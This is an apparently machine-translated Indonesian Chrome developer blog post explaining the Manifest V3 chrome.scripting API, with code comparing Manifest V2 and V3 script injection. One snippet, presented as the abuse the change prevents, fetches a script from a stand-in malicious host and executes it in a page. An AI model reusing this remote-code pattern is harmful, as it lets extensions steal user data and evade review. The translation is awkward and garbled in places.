Manifest V3 memperkenalkan sejumlah perubahan pada platform ekstensi Chrome. Dalam postingan ini,
kita akan mengeksplorasi motivasi dan perubahan yang diperkenalkan oleh salah satu perubahan yang lebih penting:
pengantar chrome.scripting
API.
Apa itu chrome.scripting?
Seperti namanya, chrome.scripting
adalah namespace baru yang diperkenalkan di Manifes V3
bertanggung jawab atas kemampuan injeksi skrip
dan gaya.
Developer yang pernah membuat ekstensi Chrome mungkin sudah terbiasa dengan metode Manifes V2
di Tabs API seperti chrome.tabs.executeScript
dan
chrome.tabs.insertCSS
Metode ini memungkinkan ekstensi
untuk memasukkan skrip dan
spreadsheet, masing-masing ke halaman. Di Manifes V3, kemampuan ini telah dipindahkan ke
chrome.scripting
dan kami berencana memperluas API ini dengan beberapa kemampuan baru di masa mendatang.
Mengapa membuat API baru?
Dengan perubahan seperti ini, salah satu pertanyaan pertama yang cenderung muncul adalah, "mengapa?"
Beberapa faktor yang membuat tim Chrome memutuskan untuk memperkenalkan namespace baru untuk pembuatan skrip.
Pertama, Tabs API adalah panel samping sampah untuk berbagai fitur. Kedua, kami perlu membuat
perubahan pada executeScript
API yang sudah ada. Ketiga, kami tahu bahwa kami
ingin memperluas pembuatan skrip
kemampuan untuk ekstensi. Bersama-sama, masalah ini secara jelas mendefinisikan perlunya namespace baru untuk
kemampuan pembuatan skrip internal.
Panel samping sampah
Salah satu masalah yang mengganggu Tim Ekstensi selama beberapa tahun terakhir adalah
chrome.tabs
API kelebihan beban. Saat API ini pertama kali diperkenalkan, sebagian besar kemampuan yang
terkait dengan konsep umum tab browser. Bahkan pada saat itu, itu adalah
sedikit fitur menarik dan dari
tahun-tahun koleksi ini semakin berkembang.
Pada saat {i>Manifest V3<i} dirilis, {i>Tabs API<i} telah berkembang untuk mencakup manajemen tab dasar, manajemen pilihan, pengaturan jendela, pesan, kontrol zoom, navigasi dasar, pembuatan skrip, dan beberapa kemampuan lainnya yang lebih kecil. Meskipun ini semua penting, hal ini bisa sedikit membingungkan bagi saat mereka memulai dan bagi tim Chrome saat kami memelihara platform dan mempertimbangkan permintaan dari komunitas developer.
Faktor rumit lainnya adalah izin tabs
tidak dipahami dengan baik. Sementara banyak lainnya
izin membatasi akses ke API tertentu (misalnya storage
), izin ini sedikit
tidak biasa karena hanya memberikan akses ke properti sensitif pada tab (dan dengan
juga berdampak pada Windows API). Dapat dimaklumi bahwa banyak developer ekstensi salah mengira
mereka memerlukan izin ini untuk mengakses metode di Tabs API seperti chrome.tabs.create
atau,
secara lebih jerman, chrome.tabs.executeScript
. Memindahkan fungsi dari Tabs API akan membantu menjernihkan
mengenai kebingungan ini.
Perubahan yang dapat menyebabkan gangguan
Saat mendesain Manifes V3, salah satu masalah utama yang ingin kami tangani adalah penyalahgunaan dan malware diaktifkan oleh "kode yang dihosting dari jarak jauh" - kode yang dijalankan, tetapi tidak disertakan dalam ekstensi paket. Sangat umum bagi penulis ekstensi yang menyalahgunakan untuk mengeksekusi skrip yang diambil dari server jarak jauh untuk mencuri data pengguna, menginjeksi {i> malware<i}, dan menghindari deteksi. Meskipun pihak yang bertanggung jawab juga menggunakan kemampuan ini, kita akhirnya merasa bahwa terlalu berbahaya untuk tetap seperti biasanya.
Ada beberapa cara yang dapat digunakan ekstensi untuk mengeksekusi kode yang tidak dipaketkan, tetapi cara yang relevan
berikut adalah metode chrome.tabs.executeScript
Manifes V2. Metode ini memungkinkan ekstensi untuk
mengeksekusi string kode arbitrer di tab target. Pada akhirnya, ini berarti bahwa
pengembang yang berbahaya
dapat mengambil skrip arbitrer dari server jarak jauh dan mengeksekusinya di dalam halaman mana pun yang dapat
akses. Jika ingin mengatasi masalah {i>remote code<i}, kita harus meninggalkan
aplikasi baru.
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
Kami juga ingin membersihkan beberapa masalah lain yang lebih halus dengan desain versi Manifes V2, dan menjadikan API sebagai alat yang lebih rapi dan dapat diprediksi.
Meskipun kita dapat mengubah tanda tangan metode ini dalam Tabs API, kami merasa bahwa antara perubahan yang dapat menyebabkan gangguan ini dan pengenalan kemampuan baru (dibahas di bagian berikutnya), jeda yang bersih akan lebih mudah bagi semua orang.
Memperluas kemampuan pembuatan skrip
Pertimbangan lain yang dimasukkan ke dalam proses
desain Manifes V3 adalah keinginan untuk memperkenalkan
kemampuan skrip tambahan ke
platform ekstensi Chrome. Secara khusus, kami ingin menambahkan
dukungan untuk skrip konten dinamis dan untuk memperluas kemampuan metode executeScript
.
Dukungan skrip konten dinamis telah menjadi permintaan fitur yang sudah lama ada di Chromium. Hari ini,
Ekstensi Chrome Manifes V2 dan V3 hanya dapat mendeklarasikan skrip konten secara statis di
File manifest.json
; platform tidak menyediakan cara untuk mendaftarkan
skrip konten baru, memodifikasi
pendaftaran skrip konten, atau membatalkan
pendaftaran skrip konten saat runtime.
Meskipun kami tahu bahwa kami ingin menangani permintaan fitur ini di Manifes V3, tidak satu pun
API terasa seperti rumah yang tepat. Kami juga mempertimbangkan untuk menyelaraskan dengan Firefox pada Skrip Konten mereka
Google Cloud API, tetapi sejak awal kami telah mengidentifikasi beberapa kelemahan utama dari pendekatan ini.
Pertama-tama, kami mengetahui bahwa tanda tangan kami mungkin tidak kompatibel (misalnya, menghentikan dukungan untuk code
). Kedua, API kami memiliki serangkaian kendala desain yang berbeda (misalnya, kebutuhan pendaftaran ke
bertahan melebihi umur pekerja layanan). Akhirnya, namespace ini juga akan
merayap kita untuk
fungsi skrip konten di mana kita memikirkan pembuatan skrip di ekstensi secara lebih luas.
Di bagian depan executeScript
, kami juga ingin memperluas hal yang dapat dilakukan API ini lebih dari sekadar Tab
Versi API didukung. Lebih khususnya, kita ingin mendukung fungsi dan argumen, dengan lebih mudah
menargetkan {i>frame<i} tertentu, dan menargetkan non-"tab" konteks tambahan.
Ke depannya, kami juga mempertimbangkan bagaimana ekstensi dapat berinteraksi dengan PWA terinstal dan konteks yang secara konseptual tidak dipetakan ke "tab."
Perubahan antara tab.executionScript dan scripting.executeScript
Di sisa postingan ini, saya akan membahas lebih lanjut persamaan dan perbedaan
antara chrome.tabs.executeScript
dan
chrome.scripting.executeScript
.
Memasukkan fungsi dengan argumen
Sambil mempertimbangkan bagaimana platform perlu berkembang terkait kode yang dihosting dari jarak jauh ini, kami ingin menemukan keseimbangan antara kekuatan mentah dari eksekusi kode arbitrer dan hanya mengizinkan skrip konten statis. Solusi yang kami lakukan adalah mengizinkan ekstensi untuk menginjeksikan berfungsi sebagai skrip konten dan meneruskan array nilai sebagai argumen.
Mari kita lihat sekilas contoh (terlalu disederhanakan). Katakanlah kita ingin memasukkan skrip yang menyapa pengguna dengan nama saat pengguna mengklik tombol tindakan ekstensi (ikon di toolbar). Di Manifes V2, kita bisa secara dinamis membangun string kode dan mengeksekusi skrip itu dalam kami.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
Meskipun ekstensi Manifes V3 tidak dapat menggunakan kode yang tidak dipaketkan dengan ekstensi tersebut, tujuan kami adalah untuk mempertahankan beberapa dinamisme yang blok kode arbitrer diaktifkan untuk ekstensi Manifes V2. Tujuan fungsi dan argumen Anda memungkinkan peninjau Chrome Web Store, pengguna, dan pihak yang berkepentingan untuk menilai secara lebih akurat risiko yang ditimbulkan oleh ekstensi sekaligus memungkinkan developer untuk mengubah perilaku runtime ekstensi berdasarkan setelan pengguna atau status aplikasi.
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
Menargetkan frame
Kami juga ingin meningkatkan cara developer berinteraksi dengan frame di API yang direvisi. Manifes V2
versi executeScript
memungkinkan pengembang menargetkan semua bingkai di tab atau
di tab. Anda dapat menggunakan chrome.webNavigation.getAllFrames
untuk mendapatkan daftar semua frame di
tab.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
Di Manifest V3, kami mengganti properti bilangan bulat frameId
opsional dalam objek opsi dengan
array frameIds
opsional bilangan bulat; hal ini memungkinkan developer menargetkan beberapa frame dalam satu
Panggilan API.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
Hasil injeksi skrip
Kami juga telah meningkatkan cara menampilkan hasil injeksi skrip di Manifes V3. Sebuah "hasil" bernilai
pada dasarnya pernyataan akhir
dievaluasi dalam sebuah skrip. Anggap saja seperti nilai
yang dikembalikan ketika Anda
memanggil eval()
atau mengeksekusi blok kode di konsol Chrome DevTools, tetapi diserialisasi untuk
meneruskan hasil di seluruh proses.
Di Manifes V2, executeScript
dan insertCSS
akan menampilkan array hasil eksekusi biasa.
Tidak masalah jika Anda hanya memiliki satu titik injeksi, tetapi urutan hasil tidak dijamin saat
memasukkan ke dalam beberapa {i>frame<i} sehingga tidak ada cara untuk
mengetahui hasil mana yang terkait dengan
{i>frame<i}.
Untuk contoh konkret, mari kita lihat array results
yang ditampilkan oleh Manifes V2 dan
Manifes V3 versi ekstensi yang sama. Kedua versi ekstensi akan memasukkan
skrip konten dan kami akan membandingkan hasilnya di halaman demo yang sama.
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
Saat menjalankan versi Manifes V2, kita mendapatkan kembali array [1, 0, 5]
. Hasil mana yang sesuai
ke frame utama dan yang mana untuk iframe? Nilai hasil tidak memberi tahu kita, jadi kita tidak tahu
tentu saja.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
Dalam versi Manifes V3, results
sekarang berisi array objek hasil, bukan array
hanya hasil evaluasi, dan objek hasil dengan jelas mengidentifikasi ID frame untuk setiap
hasil pengujian tersebut. Hal ini memudahkan developer untuk memanfaatkan hasilnya dan mengambil tindakan pada
{i>frame<i}.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
Rangkuman
Lonjakan versi manifes memberikan peluang langka untuk memikirkan kembali dan memodernisasi API ekstensi. Tujuan kita
dengan Manifest V3 adalah untuk meningkatkan pengalaman pengguna akhir dengan membuat ekstensi menjadi lebih aman sekaligus
meningkatkan pengalaman developer. Dengan memperkenalkan chrome.scripting
di Manifes V3, kami dapat
untuk membantu membersihkan Tabs API, menata ulang executeScript
agar platform ekstensi menjadi lebih aman,
dan meletakkan dasar untuk kemampuan {i>scripting<i} baru yang akan hadir dalam tahun ini.